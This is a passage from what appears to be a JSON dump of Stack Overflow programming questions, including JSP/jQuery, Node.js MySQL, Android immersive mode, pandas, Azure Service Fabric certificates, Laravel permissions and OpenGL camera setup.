I see in Network ACL config I can treat returning traffic differently from sending traffic - this is via ports. But it doesn't seem like I can do the same with a nat gateway...</p>\n\n<p>Is there a way to not send returning traffic through the nat gateway? Or another solution to this issue?</p>\n"},{"Classification":"","Title":"Get Popup Data to same row in jQuery","Body":"<p><strong>Issue:</strong> \nI am creating attendance app where approval and Reject part is there.\nI showed the popup box with TextArea, closebutton and ok button to submit data.\nAfter clicking on Reject button popup box is opening but issue is when I want to send text written in textbox to same row record.\n check below image\n<a href=\"https://i.stack.imgur.com/dnq6v.jpg\" rel=\"nofollow noreferrer\">popup after click on reject</a></p>\n\n<p>table data is coming from database.\nPlease check below code.</p>\n\n<pre><code>&lt;%@ page import = \"java.sql.*\"%&gt;\n&lt;%@ page language=\"java\" contentType=\"text/html; charset=ISO-8859-1\"\n pageEncoding=\"ISO-8859-1\"%&gt;\n&lt;!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\"&gt;\n&lt;html&gt;\n&lt;head&gt;\n&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\"&gt;\n&lt;title&gt;Insert title here&lt;/title&gt;\n&lt;/head&gt;\n&lt;style&gt;\ntable {\n font-family: arial, sans-serif;\n border-collapse: collapse;\n width: 100%;\n}\n\ntd, th {\n border: 1px solid #dddddd;\n text-align: left;\n padding: 8px;\n}\n.center {\n margin: auto;\n width: 30%;\n padding: 5px;\n box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);\n}\n\n.hideform {\n display: none;\n}\n&lt;/style&gt;\n&lt;body&gt;\n&lt;%\nConnection con;\ntry\n{\n //All Declarations\n\n //Database connection\n Class.forName(\"com.mysql.jdbc.Driver\"); \n con=DriverManager.getConnection(\"jdbc:mysql://localhost:3306/test\",\"root\",\"\"); \n Statement statement = con.createStatement() ;\n\n\n //Fetching worklist ID\n ResultSet rs1 = statement.executeQuery( \"SELECT att_id,(DATE_FORMAT(att_date,'%Y-%m-%d')),hours FROM Attendance where att_approved='Submitted'\" );\n\n %&gt;\n &lt;table id=\"tab\"&gt;\n &lt;tr&gt;\n &lt;th&gt;Sr. No&lt;/th&gt;\n &lt;th&gt;Employee Name&lt;/th&gt;\n &lt;th&gt;Date&lt;/th&gt;\n &lt;th&gt;Hours&lt;/th&gt;\n &lt;th&gt;Approved&lt;/th&gt;\n &lt;th&gt;Reject&lt;/th&gt;\n &lt;/tr&gt;\n\n &lt;tr&gt;\n &lt;%while(rs1.next()){\n %&gt;\n &lt;tr&gt;\n &lt;%int srno=rs1.getInt(1);%&gt;\n &lt;td id=\"srno\"&gt;&lt;%out.println(srno);%&gt;&lt;/td&gt;\n &lt;%Statement statement1 = con.createStatement();\n ResultSet rs2 = statement1.executeQuery( \"SELECT username FROM Attendance,login where Attendance.emp_id=login.id\" );\n rs2.next();\n String Employee=rs2.getString(1);%&gt;\n &lt;td id=\"emp\"&gt;&lt;%out.println(Employee); %&gt;&lt;/td&gt;\n\n &lt;%String Dateatt=rs1.getString(2);%&gt;\n &lt;td id=\"attdate\"&gt;&lt;%out.println(Dateatt); %&gt;&lt;/td&gt;\n &lt;%String hour=rs1.getString(3);%&gt;\n &lt;td id=\"hour\"&gt;&lt;%out.println(hour); %&gt;&lt;/td&gt;\n &lt;td&gt;&lt;button type=\"submit\" id=\"Approve\"&gt; Approve&lt;/button&gt;&lt;/td&gt;\n &lt;td&gt;&lt;button type=\"submit\" id=\"Reject\"&gt; Reject&lt;/button&gt;&lt;/td&gt;\n\n &lt;/tr&gt;\n &lt;% } %&gt;\n\n &lt;/table&gt; \n &lt;div class=\"center hideform\"&gt;\n &lt;button id=\"close\" style=\"float: right;\"&gt;X&lt;/button&gt;\n &lt;textarea rows=\"4\" cols=\"50\" id=\"rejcomments\"&gt;&lt;/textarea&gt;\n &lt;button id=\"close\" style=\"float: right;\"&gt;OK&lt;/button&gt;\n &lt;/div&gt; \n&lt;%}\ncatch(Exception e){\n\n}\n %&gt;\n\n&lt;script src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js\"&gt;&lt;/script&gt;\n&lt;script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js\"&gt;&lt;/script&gt; \n&lt;script&gt;\n$(function(){\n $('button#Approve').on('click', function(){\n var tr = $(this).closest('tr');\n var srno = tr.find('#srno').text();\n var emp = tr.find('#emp').text();\n var attdate = tr.find('#attdate').text();\n var hour = tr.find('#hour').text();\n //alert('srno: '+srno+', emp: ' + emp+', attdate: ' + attdate+',hour: ' + hour);\n $.ajax({\n type: \"POST\",\n url: \"ApproveAtt.jsp\",\n data:{\n srno:srno,\n emp:emp,\n attdate:attdate,\n\n success: function(){\n alert(\" Leave Approved\");\n window.location.reload(true);\n }\n }\n });\n\n });\n $('button#Reject').on('click', function(){\n $('.center').show();\n\n });\n $('#close').on('click', function () {\n var rejcomments = $('.center textarea#rejcomments').text();\n //var comm=$('.center').text();\n alert(rejcomments);\n\n });\n});\n&lt;/script&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n"},{"Classification":"","Title":"Node js Mysql operand should contain 1 column(s) insert","Body":"<p>I take data and push it in empty arrays. Then I want to send it to the DB but I made some mistake that cant solve. \nHere is error message : <strong>operand should contain 1 column(s)</strong> </p>\n\n<p>Here is the code :</p>\n\n<pre><code> let sql = \"INSERT INTO models (name, url) VALUES(?, ?) \";\n cn.query(sql, [proname, innerURL], function(err, res) {\n if (err) throw err;\n cn.query(\n \"DELETE n1 FROM models n1, models n2 WHERE n1.id &gt; n2.id AND n1.name = n2.name AND n1.url = n2.url\"\n );\n });\n</code></pre>\n"},{"Classification":"","Title":"Android - Toggling Immersive Mode turns on Action Bar Overlay Mode","Body":"<p>I am trying to implement Immersive (Fullscreen) Mode in my Android Application, and I'm running into a problem that I cannot solve. </p>\n\n<p>I'm following <a href=\"https://developer.android.com/training/system-ui/immersive\" rel=\"nofollow noreferrer\">the Immersive Mode guide and sample apps from the Android Docs</a>, and it mostly works, but when exiting from Immersive Mode, the App Bar (Action Bar) on my app remains in Overlay mode (it does not start in overlay mode when the activity launches), thus obscuring some of the content of my activity, and I cannot figure out what combination of UI Flags and bitwise operators I need to supply to <code>setSystemUiVisibility()</code> when exiting Immersive Mode to get it to put my app back in it's initial state (with an App Bar that's not in Overlay mode). </p>\n\n<p>I have a <a href=\"https://github.com/Bradleycorn/ImmersiveDemo\" rel=\"nofollow noreferrer\">demo application that shows the problem</a>, and relative code bits are as follows:</p>\n\n<p>Styled using the built in toolbar/app bar/action bar, though I have tried using my own custom toolbar and setting it as the Support Action Bar, with the same results.</p>\n\n<pre><code>&lt;style name=\"AppTheme\" parent=\"Theme.AppCompat.Light.DarkActionBar\"&gt;\n</code></pre>\n\n<p>Clicking the \"Toggle Immersive Mode\" button in the activity runs the following method, which follows the Android Guide (see link above) for Immersive Mode.</p>\n\n<pre><code>private void toggleImmersiveMode() {\n View decorView = getWindow().getDecorView();\n\n if (mIsImmersiveEnabled) {\n // Immersive Mode is on, turn it off.\n decorView.setSystemUiVisibility(\n View.SYSTEM_UI_FLAG_LAYOUT_STABLE\n | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION\n | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN);\n } else {\n // Immersive Mode is off, turn it on.\n decorView.setSystemUiVisibility(\n View.SYSTEM_UI_FLAG_IMMERSIVE\n // Set the content to appear under the system bars so that the\n // content doesn't resize when the system bars hide and show.\n | View.SYSTEM_UI_FLAG_LAYOUT_STABLE\n | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION\n | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN\n // Hide the nav bar and status bar\n | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION\n | View.SYSTEM_UI_FLAG_FULLSCREEN);\n }\n\n mIsImmersiveEnabled = !mIsImmersiveEnabled;\n\n}\n</code></pre>\n\n<p>I'm not trying to disable the app bar from going into Overlay Mode when ENTERING immersive mode (I want that functionality), but I can't figure out how to get it to turn overlay mode back off when EXITING immersive mode. Any help would be appreciated. </p>\n\n<p>here are some screenshots of the demo app:</p>\n\n<p><strong>On Initial Launch</strong></p>\n\n<p><img src=\"https://i.stack.imgur.com/0ZYQLl.png\" alt=\"initial launch\"></p>\n\n<p><strong>After Entering Fullscreen Mode</strong></p>\n\n<p><img src=\"https://i.stack.imgur.com/KWLrtl.png\" alt=\"Fullscreen Mode\"></p>\n\n<p><strong>After Exiting Fullscreen Mode</strong></p>\n\n<p><img src=\"https://i.stack.imgur.com/eTmvbl.png\" alt=\"After Exit Fullscreen\"></p>\n"},{"Classification":"","Title":"Difference between two dates in dates using Google bigquery?","Body":"<p>How can I get the difference in days between 2 timestamp fields in Google Big Query? </p>\n\n<p>The only function I know is <code>Datediff</code> which only works in Legacy SQL but I'm in Standard SQL. </p>\n\n<p>For example: the difference between 20180115 to 20180220 is 36 days.</p>\n"},{"Classification":"","Title":"Jquery Event on Time Input","Body":"<p>I'm trying to fire a event when i change the time in my input type time.</p>\n\n<p><strong>HTML</strong><br></p>\n\n<pre><code>&lt;form class=\"form-inline justify-content-center\" id=\"\" method=\"post\" enctype=\"multipart/form-data\"&gt;\n&lt;table&gt;\n &lt;tbody&gt;\n &lt;tr class=\"\"&gt;\n\n &lt;td&gt;&lt;label for=\"start\"&gt;Start&lt;/label&gt;&lt;/td&gt;\n\n &lt;td&gt;&lt;label for=\"end\"&gt;Slut&lt;/label&gt;&lt;/td&gt;\n &lt;td&gt;&lt;label for=\"endDuration\"&gt;Tot. Tid&lt;/label&gt;&lt;/td&gt;\n\n &lt;td&gt;&lt;/td&gt;\n &lt;/tr&gt;\n\n &lt;tr&gt;\n\n &lt;td&gt;&lt;input type=\"time\" class=\"form-control form-control-sm\" id=\"start\" name=\"start\" aria-describedby=\"startHelp\" placeholder=\"Start\"&gt;&lt;/td&gt;\n\n &lt;td&gt;&lt;input type=\"time\" class=\"form-control form-control-sm\" id=\"end\" name=\"end\" aria-describedby=\"endHelp\" placeholder=\"Slut\"&gt;&lt;/td&gt;\n &lt;td&gt;&lt;input type=\"time\" class=\"form-control form-control-sm\" id=\"duration\" name=\"duration\" aria-describedby=\"endDuration\" placeholder=\"Tot. Tid\"&gt;&lt;/td&gt;\n\n &lt;/tr&gt;\n &lt;/tbody&gt;\n&lt;/table&gt;\n</code></pre>\n\n<p></p>\n\n<p><strong>JS</strong></p>\n\n<pre><code>$('#start, #end').one('keyup, change', function() {\n console.log($(this))\n var start = $('#start').val();\n console.log(start)\n var end = $('#end').val();\n});\n</code></pre>\n\n<p>My problem is that the function only runs if i change both Hour AND minutes.. not if i change Hour only..</p>\n\n<p><strong>JSFIDDLE</strong><br>\n<a href=\"https://jsfiddle.net/aq9Laaew/20350/\" rel=\"nofollow noreferrer\">https://jsfiddle.net/aq9Laaew/20350/</a> </p>\n"},{"Classification":"","Title":"TypeError: 'NoneType' object is not subscriptable when creating a pd.Dataframe dictionary","Body":"<p><strong>The error I am receiving is : TypeError: 'NoneType' object is not subscriptable</strong></p>\n\n<p>In this Method I am trying to do string matching along two files (test&amp;master).\nThe master file contains correctly spelled product names, while the test file contains misspelling or simply differently spelled versions of those products.\nI am trying to match those together with the extractBests function to include a cutoff at a certain score. Also if I am printing earlier steps of my output, for example the fhp_new variable it still works.</p>\n\n<p>I think the error is somehow caused by the fact, that some rows to not give any matches that are within the score_cutoff limit, because I don't get the error when I put the limit on say 20. So in theory those rows should just stay empty, but this causes the error I think.</p>\n\n<p><strong>This line of code is causing the error:</strong></p>\n\n<pre><code>for x in range (1, num_match + 1):\n d[\"Match{0}\".format(x)] = [y[0] for y in aggregated_matches[\"Match\" + str(x)]]\n</code></pre>\n\n<p>This is the full Code until the line of error </p>\n\n<pre><code>def StringMatch (master, testfile, num_match=3, score_cutoff=95, limit=3):\n master_names = master.iloc[:,3]\n test_names = testfile.iloc[:,0] \n fhp_new = [process.extractBests(x, master_names, score_cutoff=score_cutoff,limit=limit) for x in test_names]\n lab=\" \"\n i=1\n\n while i&lt;=num_match:\n lab = lab + \" \" + \"Match\" + str(i)\n i = i+1\n aggregated_matches = pd.DataFrame(fhp_new, columns = lab.split())\n\n d={}\n for x in range (1, num_match + 1):\n d[\"Match{0}\".format(x)] = [y[0] for y in aggregated_matches[\"Match\" + str(x)]]\n print(d)\n</code></pre>\n"},{"Classification":"","Title":"error while saving aggregate report response in csv","Body":"<p>While running the below command I am getting the log4j error. I need to save the aggregate report output in CSV format </p>\n\n<pre><code>PS C:\\JMeter\\bin&gt; java -jar \"C:\\JMeter\\lib\\cmdrunner-2.0.jar\" --tool Reporter --generate-csv \"D:\\Automation\\Aggt_rpt.csv\" --input-jtl\n\"D:\\Automation\\output.jtl\" --plugin-type AggregateReport\n\nERROR StatusLogger No log4j2 configuration file found. Using default configuration: logging only errors to the console. Set system property 'log4j2.debug' to show Log4j2 internal initialization logging.\nMay 15, 2018 6:55:23 PM java.util.prefs.WindowsPreferences &lt;init&gt;\nWARNING: Could not open/create prefs root node Software\\JavaSoft\\Prefs at root 0x80000002. Windows RegCreateKeyEx(...) returned error code 5.\n</code></pre>\n"},{"Classification":"","Title":"Error Code: 1093. You can't specify target table 'PR_1' for update in FROM clause","Body":"<p>I'm trying to do an update:</p>\n\n<pre><code>UPDATE PR PR1\nSET PR_KEY = 1\nWHERE NOT EXISTS (\n SELECT 1\n FROM PR PR2 \n WHERE PR2.a = PR1.a ABD PR2.b = PR1.b\n);\n</code></pre>\n\n<p>But I get this error:</p>\n\n<blockquote>\n <p>Error Code: 1093. You can't specify target table 'PR1' for update in FROM clause.</p>\n</blockquote>\n\n<p>Most solutions seem to focus on doing a sub-query but not sure how I can apply that here or maybe there's just a better way of getting what I want.</p>\n"},{"Classification":"","Title":"Float values when pivoting dataframe of integers (pandas - python)","Body":"<p>I have a huge pandas dataframe, shaped like this example:</p>\n\n<pre><code> new_id hour names values\n 0 0 mark 5\n 0 0 matt 4\n 0 0 alex 3\n 1 0 roger 2\n 1 0 arthur 7\n 1 1 alf 8\n 2 1 ale 6\n 3 1 peter 5\n 3 2 tom 2\n 4 2 andrew 7\n</code></pre>\n\n<p>I need to reshape it, so I use <code>pivot_table()</code>:</p>\n\n<pre><code>dummy=dummy.pivot_table(index=['hour','new_id'],columns='name', values='values').fillna(0)\n</code></pre>\n\n<p>so it becomes</p>\n\n<pre><code> names ale alex alf andrew arthur mark matt peter roger tom\nhour new_id \n0 0 0.0 3.0 0.0 0.0 0.0 5.0 4.0 0.0 0.0 0.0\n 1 0.0 0.0 0.0 0.0 7.0 0.0 0.0 0.0 2.0 0.0\n1 1 0.0 0.0 8.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0\n 2 6.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0\n 3 0.0 0.0 0.0 0.0 0.0 0.0 0.0 5.0 0.0 0.0\n2 3 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.0\n 4 0.0 0.0 0.0 7.0 0.0 0.0 0.0 0.0 0.0 0.0\n....\n</code></pre>\n\n<p>By the way, this small example can't reproduce my problem: in the real dataset, when I pivot it, I get some float values which shouldn't be there, since they are the aggregation and the sum of the <code>values</code> of the initial dataset, which are all integers. Not only they are float, but they are also quite far from the exact results.</p>\n\n<p>Why do I get these float values? Is there a better way to get what I want? I don't really want to write by myself a function to sum properly all the values before pivoting the dataframe, since this should be exactly what <code>pivot_table()</code>does.</p>\n"},{"Classification":"","Title":"Is is possible to decouple event type name from the persisted event?","Body":"<p>I'd like to have some freedom in renaming of events or packages where they are placed. But currently this breaks persistence terribly.</p>\n\n<p>Is it possible to annotate event with some string or even uuid which will be treated as event name by persistence layer? </p>\n"},{"Classification":"","Title":"Add-AzureRmServiceFabricClusterCertificate returns \"Did not find any node type in resource group\"","Body":"<p>I'm trying to update the cluster certificate on my Service Fabric cluster in Azure, but have bumped into an error when trying to assign my new certificate.</p>\n\n<p>My process was as follows:</p>\n\n<p>Step 1 - Create a new self-signed certificate using powershell &amp; export pfx file</p>\n\n<pre><code>$cert = New-SelfSignedCertificate -DnsName mycluster.uksouth.cloudapp.azure.com\n -CertStoreLocation \"cert:\\LocalMachine\\My\" -KeyLength 2048 -KeySpec \"KeyExchange\"\n\n$password = ConvertTo-SecureString -String \"myPassw0rd\" -Force -AsPlainText\n\nExport-PfxCertificate -Cert $cert -FilePath \"C:\\my-cert.pfx\" -Password $password\n</code></pre>\n\n<p>Step 2 - Import my cert into my Azure keyvault.\nHere is where it gets a little quirky, as the current (about to expire) cert seems to exist as a secret, but when I go to import my cert as a secret, the Azure portal tells me that \"<strong>This feature has been deprecated</strong>\" so instead, I have imported my cert to the \"Certificates\" part of my key vault.</p>\n\n<p>My understanding is that I now have 3 more steps - add this as a secondary cluster certificate, then swap it with the (expiring) primary, then delete the old primary (now secondary).</p>\n\n<p>After lots of digging, I've ended up back in powershell, running the following:</p>\n\n<pre><code>Add-AzureRmServiceFabricClusterCertificate -ResourceGroupName 'myapprg-servicefabric'\n-Name 'myclustername' -SecretIdentifier 'https://my.vault.azure.net/secrets/...'\n</code></pre>\n\n<p>It's worth pointing out that I have a few resource groups set up, with names like:</p>\n\n<ul>\n<li>myapprg</li>\n<li>myapprg-analytics</li>\n<li>myapprg-data</li>\n<li>myapprg-infrastructure</li>\n<li>myapprg-keys</li>\n<li>myapprg-servicefabric</li>\n</ul>\n\n<p>I have tried using each of these as <code>-ResourceGroupName</code> when running the <code>Add-AzureRmServiceFabricClusterCertificate</code> command described above. They all error with \"<code>Operation returned an invalid status code 'NotFound'</code>\" apart from when I use the resource group that the cluster belongs to, when I get the message \"<code>Did not find any node type in resource group myapprg-servicefabric.</code>\" instead.</p>\n\n<p>If I examine the resource group in question, all it contains is the Service Fabric cluster and a couple of storage accounts for SF logging - no nodes here.</p>\n\n<p>I'm now at a loss - I really don't want to bin-off the cluster and start again, as that will involve a lot of re-configuration.</p>\n\n<p>What does this error mean?</p>\n\n<p>All/any help appreciated.</p>\n\n<p>The key resources I've used to date have been:</p>\n\n<p><a href=\"https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/cloud-services/cloud-services-certs-create.md\" rel=\"nofollow noreferrer\">https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/cloud-services/cloud-services-certs-create.md</a></p>\n\n<p><a href=\"https://docs.microsoft.com/en-us/azure/service-fabric/service-fabric-cluster-security-update-certs-azure\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/azure/service-fabric/service-fabric-cluster-security-update-certs-azure</a></p>\n\n<p><a href=\"https://docs.microsoft.com/en-us/powershell/module/azurerm.servicefabric/add-azurermservicefabricclustercertificate?view=azurermps-6.0.0\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/powershell/module/azurerm.servicefabric/add-azurermservicefabricclustercertificate?view=azurermps-6.0.0</a></p>\n"},{"Classification":"","Title":"sending array as parameter in java generic method","Body":"<pre><code>class MaximumTest {\n // determines the largest of three Comparable objects\n public static &lt;T extends Comparable&lt;T&gt;&gt; int CountDuplicates(T[] anArray, T elem) {\n int count = 0;\n for (T e: anArray)\n if (e.compareTo(elem) == 0)\n ++count;\n return count;\n }\n public static void main(String args[]) {\n double[] D_arr = {\n 1.2, 3.4, 0.0, 4.5, 0.0\n };\n int[] I_arr = {\n 0, 0, 0, 0, 1, 3, 5\n };\n System.out.println(\"No of zeros in Double Array = \" + CountDuplicates(D_arr, 0.0));\n System.out.println(\"No of zeros in Double Array = \" + CountDuplicates(I_arr, 0));\n }\n}\n</code></pre>\n\n<p>What is the mistake in this code??</p>\n"},{"Classification":"","Title":"How to send custom status and get it in ContactList.contact object in Quickblox iOS","Body":"<p>I wanted to get status of each user (online/offline) at the time of app launch, using ContactList.contact object. It would be fine if I can get it from any other object. </p>\n\n<p>I have red the documentation provided by <a href=\"https://quickblox.com/developers/IOS\" rel=\"nofollow noreferrer\">Quickblox</a>, there I found same status I can get using bellow method, but their is no such way to get the status in iOS API's</p>\n\n<p>Custom Status in android is like:</p>\n\n<pre><code>QBPresence presence = new QBPresence(QBPresence.Type.online, \"I'm at home\", 1, QBPresence.Mode.available);\ntry {\n chatRoster.sendPresence(presence);\n} catch (SmackException.NotConnectedException e) {\n\n}\n</code></pre>\n\n<p>Here are user can send 1. online/offline status, 2. Custom note like “I’m at home” 3. Subscription state and QBpresence Mode</p>\n\n<p>But in iOS:</p>\n\n<pre><code>[[QBChat instance] sendPresenceWithStatus:@\"I shall return!\"];\n</code></pre>\n\n<p>Here is only one string parameter.</p>\n\n<p>Also in iOS for accessing user list we used</p>\n\n<pre><code>NSarray *contacts = [QBChat instance].contactList.contacts;\nfor (QBContactListItem *item in contacts){\n\nAnd here we are printing item info which contains three params like\n\nuserID 2. Online/offline bool value and 3. Subscription state\n}\n</code></pre>\n\n<p>So my question is how I will be able to get these status at the time of app launch.</p>\n"},{"Classification":"","Title":"How to detect a HTTP session timeout with Java EE container based authentication enabled","Body":"<p>I am using Glassfish5/Payara5 and have container based authentication enabled. From the web.xml</p>\n\n<pre><code>&lt;security-constraint&gt;\n &lt;web-resource-collection&gt;\n &lt;web-resource-name&gt;usersOnly&lt;/web-resource-name&gt;\n &lt;url-pattern&gt;/jsfauthentication&lt;/url-pattern&gt;\n &lt;url-pattern&gt;/core/*&lt;/url-pattern&gt;\n &lt;url-pattern&gt;/pkg/*&lt;/url-pattern&gt;\n &lt;/web-resource-collection&gt;\n &lt;auth-constraint&gt;\n &lt;role-name&gt;CSEM_USER&lt;/role-name&gt;\n &lt;/auth-constraint&gt;\n&lt;/security-constraint&gt;\n&lt;login-config&gt;\n &lt;auth-method&gt;FORM&lt;/auth-method&gt;\n &lt;realm-name&gt;csemRealm&lt;/realm-name&gt;\n &lt;form-login-config&gt;\n &lt;form-login-page&gt;/cvlogin.faces&lt;/form-login-page&gt;\n &lt;form-error-page&gt;/cvloginerror.faces&lt;/form-error-page&gt;\n &lt;/form-login-config&gt;\n&lt;/login-config&gt;\n</code></pre>\n\n<p>I have a Web filter that I am trying to use to detect a session timeout and redirect to a session timeout page. What I am finding however is that after a session timeout on an page that requires authentication, the next user interaction with the page causes the container based authentication to kick in and authenticate the user. This also creates a new session at this point. This all occurs before my Web filter is invoked.</p>\n\n<p>By the time the Web filter is invoked, the session is new and valid and as such, I cannot detect that the session timed out.</p>\n\n<p>So how can one detect a session timeout on a page requiring authentication with container base authentication.</p>\n"},{"Classification":"","Title":"solr how to do filter on html entity","Body":"<p>I have used htmlStripCharater filter in index time analyzer so all the html character are getting decoded, example- <code>&amp;reg;</code> will be indexed as &reg; I have done it because of some internal NLP things that we are doing , and it is serving the purpose well.</p>\n\n<p>The problem is occuring when I am trying to do execute the filter query .\nExample I have a brand -\nhelloWorld&reg; . When filter query is getting executed like <code>brand%3AhelloWorld%C2%AE</code> solr again changing % to %25 .\nSo the query is actually going as <code>brand%253AhelloWorld%25C2%25AE</code> , And I am unable to get the data from solr.</p>\n\n<p>Any idea how to solve this ?\nI am using the old solr version 4.10 .</p>\n"},{"Classification":"","Title":"Has gtest something that compares binary?","Body":"<p>Has <a href=\"https://github.com/google/googletest\" rel=\"nofollow noreferrer\">Google Test</a> compare functions that operate on the binary representation of given object?</p>\n\n<p>I have two <code>struct</code>-objects of same type but no compare function. The <code>struct</code> is a plain-old-data-type (POD) so that a binary compare would work.</p>\n\n<p>I need something like:</p>\n\n<pre><code>struct A{\n int some_data;\n};\n\nTEST(test, case){\n A a1{0}, a2{1};\n EXPECT_BINARY_EQ(a1, a2);\n}\n</code></pre>\n\n<p>What is the simplest way to do that in C++ with gtest.</p>\n"},{"Classification":"","Title":"User does not have the right roles. Laravel-permission","Body":"<p>I'm using laravel-permission pack (<a href=\"https://github.com/spatie/laravel-permission\" rel=\"nofollow noreferrer\">https://github.com/spatie/laravel-permission</a>). \nAnd I keep getting this error only when I'm accessing add.posts.view and edit.posts.view. I have index, tags, categories and everything works fine.\nI don't know if there's a problem with my code or the other ones are working because they do not have a role set.</p>\n\n<p>Error: </p>\n\n<pre><code>Spatie \\ Permission \\ Exceptions \\ UnauthorizedException\nUser does not have the right roles.\n</code></pre>\n\n<p>Routes:</p>\n\n<pre><code>Route::group(['prefix' =&gt; 'admin', 'middleware' =&gt; ['auth', 'role:admin']], function(){\nRoute::group(['prefix' =&gt; 'posts'], function(){\n Route::get('', ['as'=&gt;'admin.post.index', 'uses'=&gt;'Admin\\PostController@index']);\n Route::get('add', ['as'=&gt;'admin.post.add', 'uses'=&gt;'Admin\\PostController@add']);\n Route::post('save', ['as'=&gt;'admin.post.save', 'uses'=&gt;'Admin\\PostController@store']);\n Route::get('{post}/edit', ['as'=&gt;'admin.post.edit', 'uses'=&gt;'Admin\\PostController@edit']);\n Route::put('{post}/update', ['as'=&gt;'admin.post.update', 'uses'=&gt;'Admin\\PostController@update']);\n Route::get('delete{post}', ['as'=&gt;'admin.post.delete', 'uses'=&gt;'Admin\\PostController@delete']);\n Route::get('{post}/show', ['as'=&gt;'admin.post.show', 'uses'=&gt;'Admin\\PostController@show']);\n</code></pre>\n\n<p>I have two folders for admin and editor. everythings is the same for both (for now).</p>\n\n<p>Add Function:</p>\n\n<pre><code>public function add()\n{\n $categories = Category::all();\n $tags = Tag::all();\n $post = new Post;\n return view('posts.add')-&gt;with('post')-&gt;withCategories($categories)-&gt;withTags($tags);\n\n}\n</code></pre>\n\n<p>Is there something wrong?</p>\n"},{"Classification":"","Title":"Intel Vtune Amplifier 2018 Update 2 Results Database Not Created","Body":"<p>I'm trying to profile a piece of <em>C++</em> code compiled using <em>VS2017</em> more specifically <code>v141</code> build tools, its takes about <code>2.5</code> min to run in the release configuration.</p>\n\n<p>My problem is no matter what I do when I try to profile it with vtune the results database is not created and I get a database interface error.\nI have tried to use debug mode, uninstall and reinstall vtune however nothing, I have also tried running in <code>admin</code> mode and nothing, I am using the latest update for windows <code>10</code> as my OS.</p>\n\n<p>the specific <code>error</code> I get is :</p>\n\n<blockquote>\n <p>May 15 2018 14:24:04 Cannot finalize the result. Error 0x4000002a (Database interface error) -- Cannot open result database `projectPath\\j\\r005hs\\sqlite-db'. </p>\n</blockquote>\n\n<p>Does anyone know a fix for this?</p>\n"},{"Classification":"","Title":"Query caching not possible in superset","Body":"<p>I am using superset in my organisation to query various data sources like athena, redshift etc. Now since it is used company wide a lot of queries are duplicate queries and produces the same result. </p>\n\n<p>Is there a possibility of query caching in superset?</p>\n"},{"Classification":"","Title":"Aruco DetectMarkers implementation Emgu C#","Body":"<p>I want to use the <code>detectMarkers</code> function for detection ArUco Markers. I am using Emgu to write the code in c#. I get multiple errors when I use the function. I am following the example in this link <a href=\"https://docs.opencv.org/3.4/d5/dae/tutorial_aruco_detection.html\" rel=\"nofollow noreferrer\">https://docs.opencv.org/3.4/d5/dae/tutorial_aruco_detection.html</a>. This is my code:</p>\n\n<pre><code>Dictionary.PredefinedDictionaryName name = new Dictionary.PredefinedDictionaryName();\nDictionary Dict = new Dictionary(name);\nVectorOfVectorOfPointF Corners = new VectorOfVectorOfPointF();\nVectorOfInt Ids = new VectorOfInt();\nDetectorParameters Parameters = new DetectorParameters();\n\n//If I uncomment this I get rid of some errors but new errors arise\n/*\nParameters.AdaptiveThreshWinSizeMin = 5;\nParameters.AdaptiveThreshWinSizeMax = 21;\nParameters.AdaptiveThreshWinSizeStep = 4;\n*/\n\nVectorOfVectorOfPointF Rejected = new VectorOfVectorOfPointF();\nArucoInvoke.DetectMarkers(imgOriginal, Dict, Corners, Ids, Parameters, Rejected);\n</code></pre>\n\n<p>The error with the three lines commented is</p>\n\n<pre><code>CvException: OpenCV: params-&gt;adaptiveThreshWinSizeMin &gt;= 3 &amp;&amp; params-&gt;adaptiveThreshWinSizeMax &gt;= 3\n</code></pre>\n\n<p>With the three lines uncommented it gives another error</p>\n\n<pre><code>OpenCV: minPerimeterRate &gt; 0 &amp;&amp; maxPerimeterRate &gt; 0 &amp;&amp; accuracyRate &gt; 0 &amp;&amp; minCornerDistanceRate &gt;= 0 &amp;&amp; minDistanceToBorder &gt;= 0\n</code></pre>\n\n<p>Is it that I need to set all kinds of default values for <code>DetectorParameters</code>? As far as I see in the documentation there are already default values for the <code>DetectorParameters</code>. Are those default values not okay or is there another reason why I get these errors?</p>\n\n<p>Help would really be appreciated!</p>\n"},{"Classification":"","Title":"OpenGL Camera Orientation","Body":"<p>I'm having trouble orienting the camera the way I want. I got that I need to use <code>gluLookAt</code> to set the camera. As far as I understood the first three is for the location of the camera, the second set is for destination and the third set is for the camera <code>upvector</code> and I'm trying to implement a box which the camera should be looking at its center. This box consists of 6 triangles, does not necessarily make a decent box. To get its center, I get the average of all triangle's vertices (<code>x</code>, <code>y</code>, and <code>z</code>).</p>\n\n<p>So this is inside my display function :</p>\n\n<pre><code> Vect v=getBoxCenter();\n gluLookAt(camera.pos.x, camera.pos.y, camera.pos.z, \n v.x,v.y,v.z, \n camera.upVector.x, camera.upVector.y, camera.upVector.z); \n glColor3f(1, 0, 0); \n glBegin(GL_TRIANGLES); \n glVertex3f(0, 0, 0); glVertex3f(100, 0, 0); glVertex3f(0, 100, 0); \n glEnd(); \n glutSwapBuffers();\n</code></pre>\n\n<p>When I do not use <code>gluLookAt</code>, the triangle shows up just fine at the center of the screen. What am I doing wrong?</p>\n"},{"Classification":"","Title":"Initial values for non least squares fit in R","Body":"<p>I am doing a model fitting using <strong>minpack.lm</strong> package. The objective function is the residual between my experimental data &amp; my ODE model.</p>\n\n<p>The tricky thing is the initial value for my 